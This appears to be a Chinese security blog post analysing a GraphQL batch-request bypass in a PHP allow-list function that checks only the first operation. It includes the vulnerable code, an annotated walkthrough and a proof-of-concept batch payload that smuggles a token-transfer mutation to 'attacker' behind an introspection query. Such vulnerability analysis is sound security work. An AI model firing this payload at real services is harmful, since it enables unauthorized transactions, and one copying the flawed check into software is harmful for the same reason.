【漏洞挖掘Tips】一种新的GraphQL绕过角度

admin 2025-12-22 04:07:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章介绍了一种新的GraphQL绕过方法,通过batch请求嵌套敏感操作来绕过安全检查。漏洞源于bypass函数只检查第一个请求是否为允许的操作类型,而忽略了后续请求。攻击者可利用此漏洞执行未授权操作,如转账等。建议开发者在处理GraphQL批量请求时应检查所有操作而非仅第一个。 综合评分: 88 文章分类: 漏洞分析,WEB安全,漏洞POC,安全开发,渗透测试


cover_image

【漏洞挖掘Tips】一种新的 GraphQL 绕过角度

原创

Pwn1

漏洞集萃

2025年12月17日 14:53 山东

免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。

分享一个新的 GraphQL 的攻击角度,另外带大家看一段狗屎一般的代码。

如果这会儿心情不好的话,建议先收藏,等会儿再看。 我看这段漏洞代码的时候只感叹这个写代码的人……真的是个人才。。。。。。。。。

先看漏洞代码:

protected function bypass(Request $request): bool
{
    if (!$requests = $this->parser->parseRequest($request)) {
        return false;
    }

    $operationName = $requests->operation;

    foreach (Arr::wrap($requests) as $operation) {
        if (!$operation->query) {
            return false;
        }

        if ($documentNode = Parser::parse($operation->query)) {
            return collect($documentNode->definitions)
                ->pipe(function (Collection $definitions) use ($operationName) {
                    if ($definitions->containsOneItem()) {
                        $definition = $definitions->sole();
                    } else {
                        $definition = $definitions
                            ->filter(fn ($definition) => $operationName == $definition?->name?->value)
                            ->first();
                    }

                    return $definition?->selectionSet?->selections?->count() === 1
                        && in_array(
                            $definition?->selectionSet?->selections?->offsetGet(0)?->name?->value,
                            $this->except
                        );
                });
        }
    }

    return true;
}

猛的一看没觉得有什么问题,但是如果详细看的话会发现在 $this->except 部分存在这一个蹊跷;

这里先讲下背景知识 GraphQL 是一种新的 API 接口处理逻辑,区别于 REST 或者 gRPC 等。这种技术栈在国外应用的比较多,好处是不用逐个写接口和路由了,直接一个入口全部都操作的。 类型的话有:queryMutationSubscription;分别对应查询、变动、订阅;

漏洞:

这里的 bypass 函数主要适用于在众多的用户请求中将不重要的、不敏感的请求筛选出来然后直接放行进而简化工作量。但是由于开发大哥考虑的场景比较少,所以导致了可以通过 batch 请求嵌套其他请求进行绕过。

直接上 POC:

[
  {
    "query": "query { __schema { types { name } } }"
  },
  {
    "query": "query { getTransactions(accountId: \"123\") { id amount recipient } }"
  },
  {
    "query": "mutation { transferTokens(to: \"attacker\", amount: 999999) { success } }"
  }
]

代码模拟运行

protected function bypass(Request $request): bool
{
    // 1. 解析请求 → $requests 是数组,长度 3
    if (!$requests = $this->parser->parseRequest($request)) {
        return false;
    }
    // $requests = [op1, op2, op3]

    // 2. 取顶层 operationName → Batch 没有顶层,所以 $operationName = null
    $operationName = $requests->operation;  // ← null

    // 3. 循环开始
    foreach (Arr::wrap($requests) as $operation) {

        // 第一轮:$operation = op1 (__schema 查询)
        if (!$operation->query) { return false; }  //

        // 解析第一个操作的 query 字符串
        if ($documentNode = Parser::parse("query { __schema { types { name } } }")) {
            // 解析成功,$documentNode->definitions = [一个匿名 OperationDefinition]

            return collect($documentNode->definitions)  // Collection,count=1
                ->pipe(function (Collection $definitions) use ($operationName) {  // use (null)

                    if ($definitions->containsOneItem()) {  // true,只有1个
                        $definition = $definitions->sole();  // 取这个匿名操作
                    } else {
                        // 不走这里
                    }

                    // 检查 selections
                    // selections 数组只有1个:name.value = "__schema"
                    return $definition?->selectionSet?->selections?->count() === 1  // true
                        && in_array('__schema', $this->except);  // true
                    // → 返回 true
                });
            // pipe 返回 true → return true → 方法立即结束!
        }
    }
    // 永远到不了这里
    return true;
}

关键部分讲解:

  1. 1. $operationName = $requests->operation 取顶层 operationName → Batch 没有顶层,所以 $operationName = null

  2. 2. (!$operation->query) { return false; } 用于检测是否存在 query 关键字,规避畸形请求; 这是因为由于 GraphQL 最开始设计时,主要考虑的是读取数据的场景,那时候只有 query 操作类型,而后来为了扩大应用场景,于是有了 mutation 和 subscription,但为了向后兼容和保持协议简单统一,继续沿用 “query”。 这个时候的 query 表示“这里放的是 GraphQL 操作文档字符串”,如 "query": "subscription { newMessage { content } }"

  3. 3. function (Collection $definitions) use ($operationName) 用从 operationName 获取一个顶层的操作名,但是由于 operationName = $requests->operation; 所以这里直接 use null 了

  4. 4. if 判断 [$definitions->containsOneItem())]: documentNode 为解析的 http 请求当中的 GraphQL 语法树,documentNode 下属多个 definition,definition 又分为 OperationDefinition、FragmentDefinition、(还有 TypeSystemDefinition 等 不常见)且由于 GraphQL 的规范,OperationDefinition 必不会为空就算是匿名操作也是 query;所以 $definitions->containsOneItem() 恒为 true(多个 operations 在一个 query 当中的情况不考虑)有且至少为一个

  5. 5. 于是来到 $definition?->selectionSet?->selections?->offsetGet(0)?->name?->value, $this->except,代码检查的是

OperationDefinition
  └── selectionSet
        └── selections (数组)
              └── [0] FieldNode
                    └── name.value = "__schema"   ← 代码检查的就是这个值

符合一开始想要简化处理的关键字,直接一个绕过;

但是各位看官别忘了,这是一个 batch 请求,后续的几个请求可是也因此绕过了;

所以以后大佬们遇到相似的场景也可以尝试下这种绕过方式。

tips 的分享就到这里了,下面就是狗屎代码的鉴赏了:

有的佬可能注意到了 ‘恒为 ture’ 这几个字

我们来吐槽下这段糟糕的代码吧

  1. 1. 一开始我们说代码没有考虑 batch 的请求,你说他没有安全意识的时候,你发现他还写了 (!$operation->query) 检测畸形请求
  2. 2. 后来 (Collection $definitions) use ($operationName) 以及 ->filter(fn ($definition) => $operationName == $definition?->name?->value)->first(); 又考虑了批处理的情况

只能说艺术需要逻辑、而现实生活不需要逻辑;

觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!

👉 往期精选

攻防演练中的“降维打击”:逃逸出内网边界的影子资产与SaaS供应链挖掘

【从公开报告到私有神器】:如何通过漏洞报告制作字典

伪造注释状态下的XSS


查看原文:《【漏洞挖掘Tips】一种新的 GraphQL 绕过角度》

评论:0   参与:  3